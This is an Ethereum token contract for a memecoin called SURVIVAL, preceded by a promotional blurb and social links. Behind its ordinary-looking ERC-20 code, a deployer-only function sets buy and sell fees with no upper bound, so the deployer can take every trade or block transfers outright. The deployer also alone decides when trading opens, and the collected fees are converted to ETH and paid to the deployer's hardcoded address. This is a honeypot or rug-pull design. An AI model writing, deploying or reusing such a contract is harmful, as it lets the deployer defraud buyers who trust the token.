/*

Welcome to Survival!

In a world dominated by norms and boundaries, there comes a moment when a movement emerges to challenge the status quo. Enter SURVIVAL, a collective of visionaries, dreamers, and rebels who recognize that the future belongs to those bold enough to reshape it. Inspired by the spirit of the unconventional, we're here to empower and finance the trailblazers of our decentralized world.

Igniting Change: Society often shackles us with norms that impede innovation. At SURVIVAL, we ignite the flames of transformation, providing funding to those with the audacity to dream differently and the courage to act on their vision.

TELEGRAM: https://t.me/SurvivalCoinPortal
TWITTER: https://twitter.com/SurvivalCoinETH
WEBSITE: https://survivalcoin.cfd

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract Survival {
        string public constant name = "Survival";  //
        string public constant symbol = "SURVIVAL";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

        uint256 BurnFigure = 1;
        uint256 ConfirmFigure = 1;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x3DcDdce9D30F4FECB3E159e70929fBBcd4aaE60c)); //

        bool private swapping;
        bool private tradingOpenNow;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpenNow || from == deployer || to == deployer);

            if(!tradingOpenNow && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 FinalFigure = amount * (from == pair ? BurnFigure : ConfirmFigure) / 100;
                amount -= FinalFigure;
                balanceOf[address(this)] += FinalFigure;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function NowTradingOpen() external {
            require(msg.sender == deployer);
            require(!tradingOpenNow);
            tradingOpenNow = true;        
            }

        function _setSURVIVAL(uint256 newBurn, uint256 newConfirm) external {
            require(msg.sender == deployer);
            BurnFigure = newBurn;
            ConfirmFigure = newConfirm;
            }
        }